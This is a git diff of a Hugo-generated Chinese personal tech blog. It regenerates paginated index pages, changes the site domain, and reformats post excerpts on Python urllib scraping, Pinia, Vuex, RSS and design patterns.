         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/7/index.html b/page/7/index.html
index 4bc6394b..768a4bea 100644
--- a/page/7/index.html
+++ b/page/7/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
 模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’))
@@ -8,11 +8,7 @@
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
-import urllib.request
-url = "https://xiaochenabc123.test.com/"
-headers = {
-'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://xiaochenabc123.github.io/posts/125/></a></article><article class=post-entry><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
+import urllib.parse import urllib.request url = "https://xiaochenabc123.test.com/" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://chenjunlinabc.github.io/posts/125/></a></article><article class=post-entry><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
 npm install pinia@next
@@ -20,24 +16,8 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
-import App from './App.vue'
-const app = createApp(App)
-import { createPinia } from 'pinia'
-app.use(createPinia())
-app.mount('#app')
-src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
-export const useDataStore = defineStore('data', {
-state: () => {
-return { count: 666 }
-},
-//state: () => {
-//name: chen
-//},
-getters:{ // getters计算属性
-doubleCount(state){
-return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://xiaochenabc123.github.io/posts/124/></a></article><article class=post-entry><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://chenjunlinabc.github.io/posts/124/></a></article><article class=post-entry><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
 vuex知识点：state，getter，mutation，action
@@ -51,44 +31,18 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
-const store = new Vuex.Store({
-state: {
-count: 0
-}
-})
-export default store
-main.js
-new Vue({
-store // 将store对象添加到vue实例上
-})
-可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } }
 Getter
-getters: {
-getCount(state) {
-return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://xiaochenabc123.github.io/posts/123/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
+getters: { getCount(state) { return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://chenjunlinabc.github.io/posts/123/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&lt;?xml version="1.0" encoding="UTF-8" ?>
-&lt;rss version="2.0">
-&lt;channel>
-&lt;title>小陈的辣鸡屋&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/&lt;/link>
-&lt;description>xiaochenabc123.test.com&lt;/description>
-&lt;item>
-&lt;title>简单了解设计模式&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link>
-&lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description>
-&lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded>
-&lt;/item>
-&lt;/channel>
-&lt;/rss>
-可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+&lt;?xml version="1.0" encoding="UTF-8" ?> &lt;rss version="2.0"> &lt;channel> &lt;title>小陈的辣鸡屋&lt;/title> &lt;link>https://xiaochenabc123.test.com/&lt;/link> &lt;description>xiaochenabc123.test.com&lt;/description> &lt;item> &lt;title>简单了解设计模式&lt;/title> &lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link> &lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description> &lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded> &lt;/item> &lt;/channel> &lt;/rss> 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
 元素还有，，，等等
-RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://xiaochenabc123.github.io/posts/122/></a></article><article class=post-entry><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
+RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://chenjunlinabc.github.io/posts/122/></a></article><article class=post-entry><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
 设计模式的好处就是通用可复用，跨语言
@@ -103,8 +57,8 @@
 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式
 创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象
 结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式
-行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://xiaochenabc123.github.io/posts/121/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/6/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://chenjunlinabc.github.io/posts/121/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/6/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/8/index.html b/page/8/index.html
index 9665d545..3a284d3a 100644
--- a/page/8/index.html
+++ b/page/8/index.html
@@ -1,8 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" 